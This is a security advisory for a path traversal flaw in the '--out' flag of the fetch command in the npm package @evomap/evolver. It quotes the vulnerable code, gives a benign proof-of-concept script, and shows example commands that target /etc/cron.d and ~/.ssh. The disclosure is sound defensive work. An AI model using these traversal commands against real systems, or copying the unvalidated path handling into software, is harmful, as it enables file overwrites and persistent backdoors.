High

Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write

  • Disclosed: 22.04.2026
  • Updated: 11.10.2026 10:22

Summary

A path traversal vulnerability in the skill download (fetch) command allows attackers to write files to arbitrary locations on the filesystem. The --out= flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.

Details

The vulnerability exists in index.js at lines 752-767:

js
// index.js:751-768
const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');

// VULNERABLE: No path validation on user input
const outDir = outFlag
  ? outFlag.slice('--out='.length)  // User-controlled path
  : path.join('.', 'skills', safeId);

if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });

// ... downloads skill files to outDir

The outFlag.slice('--out='.length) extracts the user-provided path without any sanitization or validation. An attacker can provide paths like ../../../etc/cron.d to write files outside the intended directory.

Note: The safeId variable is sanitized via inline replacement (replace(/[^a-zA-Z0-9_\-\.]/g, '_')), but this sanitization only applies to the default path, not to the user-provided --out= path.

PoC

Prerequisites:

  • Node.js installed
  • Access to the evolver application

Steps to reproduce:

  1. Create a test file demonstrating the vulnerability:
js
// test-file-write.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable fetchSkill logic
function vulnerableFetchSkill(outFlag) {
  const outDir = outFlag
    ? outFlag.slice('--out='.length)  // No validation!
    : path.join('.', 'skills', 'default');
  
  console.log('Target directory:', outDir);
  console.log('Resolved path:', path.resolve(outDir));
  
  // In real code, this would write skill files
  const targetFile = path.join(outDir, 'skill.js');
  console.log('Would write to:', targetFile);
  
  return { outDir, targetFile };
}

// Test cases
console.log('=== Test 1: Normal path ===');
vulnerableFetchSkill('--out=./my-skills/test');

console.log('\n=== Test 2: Path traversal ===');
const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');

// Actually demonstrate the vulnerability
console.log('\n=== Creating directory to prove traversal works ===');
try {
  if (!fs.existsSync(result.outDir)) {
    fs.mkdirSync(result.outDir, { recursive: true });
  }
  fs.writeFileSync(
    path.join(result.outDir, 'poc.txt'),
    'Path traversal successful!\nThis file was written outside the intended directory.'
  );
  console.log('SUCCESS: File written to:', path.resolve(result.targetFile));
} catch (e) {
  console.log('Error:', e.message);
}
  1. Run the test:
bash
node test-file-write.js

Expected output:

=== Test 2: Path traversal ===
Target directory: ../../../tmp/evolver-test
Resolved path: /tmp/evolver-test
Would write to: ../../../tmp/evolver-test/skill.js

=== Creating directory to prove traversal works ===
SUCCESS: File written to: /tmp/evolver-test/poc.txt

Actual exploit scenario: An attacker can run:

bash
# Write to system cron directory (requires appropriate permissions)
node index.js fetch malicious-skill --out=../../../etc/cron.d

# Or overwrite existing files
node index.js fetch existing-skill --out=../../../home/user/.ssh

Impact

This is an Arbitrary File Write vulnerability that can lead to:

  • Overwriting critical system files
  • Installing persistent backdoors (e.g., in cron directories)
  • Modifying SSH authorized_keys
  • Overwriting application code or configuration files
  • Privilege escalation if the process runs with elevated privileges

Affected users: Anyone using the fetch command with the --out= flag, especially in automated environments or CI/CD pipelines.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @evomap/evolver < 1.69.3 1.69.3

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness (CWE)
CWE-22
Platform
npm
Package
@evomap/evolver
Disclosed
22.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-r466-rxw4-3j9j - CC BY 4.0

Vulnerability history: @evomap/evolver

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
6
First → latest
04.2026 05.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 3
  • Medium 2

Disclosures per year

  1. 2026: 6
  1. Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write this entry
    High · 8.1 CVE-2026-42075 < 1.69.3 1.69.3

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